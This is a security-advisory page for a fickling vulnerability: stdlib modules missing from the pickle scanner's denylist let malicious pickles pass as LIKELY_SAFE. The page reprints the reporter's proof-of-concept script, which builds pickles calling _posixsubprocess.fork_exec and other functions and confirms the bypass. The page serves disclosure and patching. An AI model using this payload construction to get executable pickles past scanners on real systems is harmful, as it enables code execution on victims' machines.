Vulnerability DatabaseGHSA-m6fh-58r7-x697

GHSA-m6fh-58r7-x697: 
Python vulnerability analysis and mitigation

Analysis

The fix adds _posixsubprocess, site and atexit to the blocklist (https://github.com/trailofbits/fickling/commit/e8408615b63adf034f891f653692ab9b51f0f5af).

Original report

_posixsubprocess, site, and atexit are missing from UNSAFE_IMPORTS in fickle.py. This shares the same root cause as CVE-2026-22607 and GHSA-5cxw-w2xg-2m8h. _posixsubprocess.fork_exec: C-level process spawner. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.10. OvertlyBadEvals skips them because they're in likely_safe_imports (stdlib). UnsafeImports doesn't catch them because they're not in the denylist. SETITEMS pattern defeats UnusedVariables. PoC (tested against 0.1.10 from PyPI): #!/usr/bin/env python3 import sys from fickling.analysis import check_safety from fickling.fickle import UNSAFE_IMPORTS, Pickled import fickling.fickle as op BYPASS_TARGETS = [ { "module": "_posixsubprocess", "function": "fork_exec", "impact": "C-level fork/exec — spawns arbitrary child processes", }, { "module": "site", "function": "execsitecustomize", "impact": "Executes arbitrary site customization code at interpreter startup", }, { "module": "atexit", "function": "_run_exitfuncs", "impact": "Triggers all registered atexit callbacks", }, ] def build_payload(module: str, function: str) -> Pickled: return Pickled([ op.Proto.create(4), op.ShortBinUnicode(module), op.ShortBinUnicode(function), op.StackGlobal(), op.ShortBinUnicode("/etc/passwd"), op.TupleOne(), op.Reduce(), op.Memoize(), op.EmptyDict(), op.ShortBinUnicode("init"), op.ShortBinUnicode("x"), op.SetItem(), op.Mark(), op.ShortBinUnicode("trace"), op.BinGet(0), op.SetItems(), op.Stop(), ]) def main(): print(f"Fickling Safety Bypass PoC") print(f"UNSAFE_IMPORTS denylist size: {len(UNSAFE_IMPORTS)} modules") print(f"{'=' * 72}\n") all_passed = True for target in BYPASS_TARGETS: module = target["module"] function = target["function"] label = f"{module}.{function}" in_denylist = module in UNSAFE_IMPORTS pickled = build_payload(module, function) results = check_safety(pickled) bypassed = results.severity.name == "LIKELY_SAFE" and len(results.results) == 0 print(f"Target: {label}") print(f" In UNSAFE_IMPORTS: {in_denylist}") print(f" check_safety(): {results.severity.name} ({len(results.results)} findings)") print(f" Impact: {target['impact']}") print(f" Status: {'BYPASS CONFIRMED' if bypassed else 'DETECTED'}") print() if not bypassed: all_passed = False print(f"{'=' * 72}") if all_passed: print(f"RESULT: {len(BYPASS_TARGETS)}/{len(BYPASS_TARGETS)} targets bypass check_safety()") print(f" fickling.load() would execute all payloads after returning LIKELY_SAFE") else: print(f"RESULT: Some targets were detected. Check fickling version.") return 0 if all_passed else 1 if name == "main": sys.exit(main())


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-m6fh-58r7-x697HIGH8.4
  • Python logoPython
  • fickling
NoYesDec 03, 2026
GHSA-ggjq-x9vq-v787HIGH8.3
  • Python logoPython
  • web-cheacker-mainditect
NoYesDec 03, 2026
GHSA-5gvf-7wqf-r4cvMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-vfhw-gfwp-vxfjMEDIUM4.7
  • Python logoPython
  • lxml-html-clean
NoYesDec 03, 2026
GHSA-j7c5-jjc2-fx3wMEDIUM4
  • Python logoPython
  • hegemony-inventory-netbox
NoYesDec 03, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management